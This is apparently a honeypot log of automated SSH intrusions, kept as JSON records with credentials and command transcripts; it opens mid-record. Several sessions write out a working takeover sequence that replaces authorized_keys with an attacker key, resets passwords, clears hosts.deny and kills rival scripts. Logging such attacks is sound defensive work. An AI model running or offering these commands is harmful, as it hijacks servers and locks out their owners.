.ssh","started_at":"2026-08-26T11:40:23.703335+00:00","ended_at":"2026-08-26T11:40:24.998012+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2092,"events":[{"seq":1,"at":"2026-08-26T11:39:53.957776+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:39:54.808051+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:40:00.685101+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:40:01.537076+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:40:02.396179+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ec2user\\nn32SJ8Tx1kP0\\nn32SJ8Tx1kP0\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:40:03.296962+00:00","kind":"input","latency_ms":null,"data":"echo \"ec2user\\nn32SJ8Tx1kP0\\nn32SJ8Tx1kP0\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:40:04.184788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:40:04.469077+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:40:05.313261+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:40:06.505397+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:40:07.387717+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:40:08.717842+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:40:09.590018+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:40:10.296400+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:40:11.194627+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:40:12.081193+00:00","kind":"output","latency_ms":null,"data":" 11:40:12 up 6 days, 8:30, 0 user, load average: 0.11, 0.11, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:40:12.930312+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:40:13.480520+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:40:14.351592+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:40:14.944047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:40:15.788398+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:40:16.448853+00:00","kind":"output","latency_ms":null,"data":"top - 11:40:16 up 6 days, 8:30, 0 user, load average: 0.11, 0.11, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:40:17.292163+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:40:18.074700+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:40:18.919555+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:40:19.181281+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:40:20.024677+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:40:20.841507+00:00","kind":"output","latency_ms":null,"data":"ec2-user"},{"seq":29,"at":"2026-08-26T11:40:21.689724+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:40:22.862153+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:40:23.704154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:40:24.726716+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ec2-user","password":"ec2user","method":"password","accepted":true,"tier":"other"}]} {"id":"18cdf5ba-215d-4b86-806f-9abec1cc186e","name":"frugal-dappled-caribou","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43320,"username":"ec2-user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:39:59.586241+00:00","ended_at":"2026-08-26T11:40:00.386543+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ec2-user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bf9e6566-e033-4224-8cf1-56383b960f69","name":"feathered-nimble-vulture","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43312,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:39:56.788694+00:00","ended_at":"2026-08-26T11:39:57.889858+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"949d19fb-cc2f-454b-ae88-9ccf8f1e9195","name":"cheerful-clever-condor","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":43102,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":862,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:37:44.723066+00:00","ended_at":"2026-08-26T11:37:45.896430+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T11:37:13.798032+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:37:14.695432+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:37:22.693120+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:37:23.056075+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:37:23.913922+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HUWigZFtbwON\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:37:24.792087+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:37:25.689700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:37:25.978601+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:37:26.830833+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:37:27.819856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:37:28.691967+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:37:30.036580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:37:30.893190+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:37:31.390498+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:37:32.290591+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:37:32.612834+00:00","kind":"output","latency_ms":null,"data":" 11:37:32 up 6 days, 8:27, 0 user, load average: 0.14, 0.13, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:37:33.490110+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:37:33.920965+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:37:34.789965+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:37:35.432353+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:37:36.290657+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:37:37.130309+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:37 up 6 days, 8:27, 0 user, load average: 0.14, 0.13, 0.13\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:37:37.991570+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:37:38.496228+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:37:39.393104+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:37:40.098136+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:37:40.991532+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:37:41.828932+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:37:42.690796+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:37:43.875741+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:37:44.724052+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:37:45.619441+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"fa","method":"password","accepted":true,"tier":"other"}]} {"id":"a66adb7a-e96e-4e29-8388-33c69b554bee","name":"marbled-solemn-springbok","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43120,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:37:20.496098+00:00","ended_at":"2026-08-26T11:37:22.386219+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dadfa8e8-56a0-45e1-82d5-675706bac657","name":"languid-tidal-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":43110,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:37:16.792312+00:00","ended_at":"2026-08-26T11:37:18.795678+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ea3cf1e8-49bb-47b6-9a86-22b48b7b6619","name":"opal-primal-thrush","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42904,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":870,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:34:56.688747+00:00","ended_at":"2026-08-26T11:34:58.126427+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-26T11:34:31.021739+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:34:31.893320+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:34:38.287863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:34:38.288442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:34:39.190265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uuwFDgQfCWLV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:34:39.733694+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T11:34:40.090541+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-26T11:34:40.989621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T11:34:40.990290+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T11:34:41.888095+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T11:34:42.407102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T11:34:43.292045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T11:34:43.874916+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T11:34:44.725934+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T11:34:44.726520+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T11:34:45.591597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T11:34:45.871552+00:00","kind":"output","latency_ms":null,"data":" 11:34:45 up 6 days, 8:24, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T11:34:46.723271+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T11:34:47.090385+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T11:34:47.996349+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T11:34:48.588051+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T11:34:49.458174+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T11:34:50.301020+00:00","kind":"output","latency_ms":null,"data":"top - 11:34:50 up 6 days, 8:24, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T11:34:51.192527+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T11:34:51.464320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T11:34:52.317034+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T11:34:52.665706+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T11:34:53.525647+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T11:34:54.152737+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T11:34:55.012152+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T11:34:55.782546+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T11:34:56.691223+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T11:34:57.853439+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"201314","method":"password","accepted":true,"tier":"other"}]} {"id":"9ae98c96-1d5a-4ff4-8301-5d9669b3949c","name":"proud-lanky-porcupine","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42922,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:34:36.988514+00:00","ended_at":"2026-08-26T11:34:37.985590+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f2a2f910-174c-4140-972d-45a07eaba150","name":"prickly-early-ouzel","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42912,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:34:33.888614+00:00","ended_at":"2026-08-26T11:34:35.284493+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"34f80c5d-ecc3-4c4c-8732-2facfc5f8ece","name":"gnarled-airy-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42708,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":844,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:32:10.883641+00:00","ended_at":"2026-08-26T11:32:11.680381+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-26T11:31:48.055804+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:31:48.904116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:31:56.089064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:31:56.089426+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:31:56.986456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:N9yol2doDCqh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:31:57.885649+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:31:58.756607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:31:58.757063+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:31:59.609544+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:32:00.303642+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:32:01.185889+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:32:01.743235+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:32:02.594720+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:32:02.595287+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:32:03.485666+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:32:03.486437+00:00","kind":"output","latency_ms":null,"data":" 11:32:03 up 6 days, 8:22, 0 user, load average: 0.06, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:32:04.326494+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:32:04.327008+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:32:05.168594+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:32:05.169077+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:32:06.009556+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:32:06.010103+00:00","kind":"output","latency_ms":null,"data":"top - 11:32:06 up 6 days, 8:22, 0 user, load average: 0.06, 0.08, 0.05\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:32:06.851411+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:32:06.852669+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:32:07.693226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:32:07.694125+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:32:08.537925+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:32:08.538489+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:32:09.379585+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:32:09.991515+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:32:10.884912+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:32:11.409374+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QWEasd123!@#","method":"password","accepted":true,"tier":"other"}]} 